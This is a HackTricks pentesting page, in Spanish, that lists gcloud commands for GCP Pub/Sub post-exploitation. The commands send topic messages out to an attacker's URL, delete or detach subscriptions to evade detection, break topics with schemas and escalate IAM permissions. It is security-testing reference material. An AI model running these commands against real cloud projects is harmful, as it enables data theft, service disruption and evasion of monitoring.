GCP - Pub/Sub Post Exploitation

Apoya a HackTricks

Pub/Sub

Para más información sobre Pub/Sub revisa la siguiente página:

GCP - Pub/Sub Enum

pubsub.topics.publish

Publica un mensaje en un tema, útil para enviar datos inesperados y activar funcionalidades inesperadas o explotar vulnerabilidades:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Útil para evitar que una suscripción reciba mensajes, tal vez para evitar la detección.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Útil para evitar que una suscripción reciba mensajes, tal vez para evitar la detección. Es posible eliminar un tema incluso con suscripciones adjuntas.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Utiliza este permiso para actualizar alguna configuración del tema para interrumpirlo, como --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Dáte permiso para realizar cualquiera de los ataques anteriores.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Obtén todos los mensajes en un servidor web:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Crea una suscripción y úsala para extraer mensajes:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Eliminar una suscripción podría ser útil para interrumpir un sistema de procesamiento de registros o algo similar:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Utiliza este permiso para actualizar alguna configuración de manera que los mensajes se almacenen en un lugar al que puedas acceder (URL, Big Query table, Bucket) o simplemente para interrumpirlo.

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

Concédete los permisos necesarios para realizar cualquiera de los ataques mencionados anteriormente.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Adjunta un esquema a un tema para que los mensajes no lo cumplan y, por lo tanto, el tema se vea interrumpido. Si no hay esquemas, es posible que necesites crear uno.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

Esto podría parecer que al eliminar un esquema podrás enviar mensajes que no cumplan con el esquema. Sin embargo, como el esquema será eliminado, ningún mensaje entrará realmente en el tema. Así que esto es INÚTIL:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

Concédete los permisos necesarios para realizar cualquiera de los ataques mencionados anteriormente.

pubsub.snapshots.create, pubsub.snapshots.seek

Esto creará una snapshot de todos los mensajes no ACKed y los devolverá a la suscripción. No es muy útil para un atacante, pero aquí está:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Apoya HackTricks

Last updated